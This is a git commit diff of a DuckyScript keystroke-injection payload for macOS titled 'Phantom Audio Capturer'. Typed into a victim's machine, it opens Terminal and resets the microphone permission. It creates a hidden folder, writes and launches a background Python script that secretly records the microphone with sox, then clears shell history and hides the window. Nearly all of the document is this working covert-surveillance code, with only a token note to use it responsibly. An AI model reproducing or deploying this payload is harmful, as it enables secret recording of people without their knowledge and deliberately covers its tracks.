Audio Capturer runs smooth now

This commit is contained in:
Narstybits
2023-06-02 21:42:12 -05:00
parent e9408bbd59
commit 0d8ddab897
+27 -14
View File
@@ -1,9 +1,19 @@
REM Create a hidden directory named .phantom_audio in the home directory.
REM Writes a Python script (record.py) that uses the sox utility to record audio from the microphone and save it as a .wav file.
REM Once executed, the audio recording will start and continue until manually stopped.
REM The recording is saved in the .phantom_audio directory under the home directory.
REM Remember to respect privacy and use this script responsibly.
REM Creates a hidden folder named .phantom_audio in the home directory.
REM Writes a Python script (record.py) that uses the sox utility
REM to record audio from the microphone and save it as a .mp3 file.
REM Once executed, the audio recording will start and continue until manually stopped
REM You can stop the audio recording by finding the PID and using 'kill pid#'
REM The recording is saved in the .phantom_audio directory under the home directory
REM To access the audio file easily, you can use the following steps:
REM Open a new Finder window. Go to the "Go" menu in the menu bar and select "Go to Folder"
REM enter "~/.phantom_audio" and click the "Go" button.
REM navigate to the .phantom_audio folder where you can find the "Secret audio.mp3" file.
REM To delete the hidden folder use command 'rm -r ~/.phantom_audio'
REM Requirements: SOX you can install through homebrew 'brew install sox'
REM Author: Narsty
REM Title: Phantom Audio Capturer
@@ -17,18 +27,21 @@ DELAY 500
GUI SPACE
DELAY 500
STRING Terminal
DELAY 1000
ENTER
DELAY 500
STRING tccutil reset Microphone com.apple.Terminal
DELAY 500
ENTER
STRING mkdir -p ~/.phantom_audio && cd ~/.phantom_audio
DELAY 500
ENTER
DELAY 500
STRING mkdir ~/.phantom_audio && cd ~/.phantom_audio
STRING echo 'import os\nimport subprocess\nimport datetime\n\nfilename = "Secret audio.mp3"\ncmd = f"sox -d -C 128 -r 44100 \"{filename}\""\nsubprocess.Popen(cmd, shell=True)' > record.py
DELAY 1000
ENTER
DELAY 500
STRING echo 'import os\nimport subprocess\nimport datetime\n\nfilename = datetime.datetime.now().strftime("%Y-%m-%d-%H-%M-%S") + ".wav"\ncmd = f"sox -d {filename}"\nsubprocess.Popen(cmd, shell=True)' > record.py
STRING nohup python3 record.py &
ENTER
DELAY 500
STRING nohup python3 record.py > /dev/null 2>&1 &
ENTER
DELAY 500
STRING history -c && exit
ENTER
DELAY 250
GUI h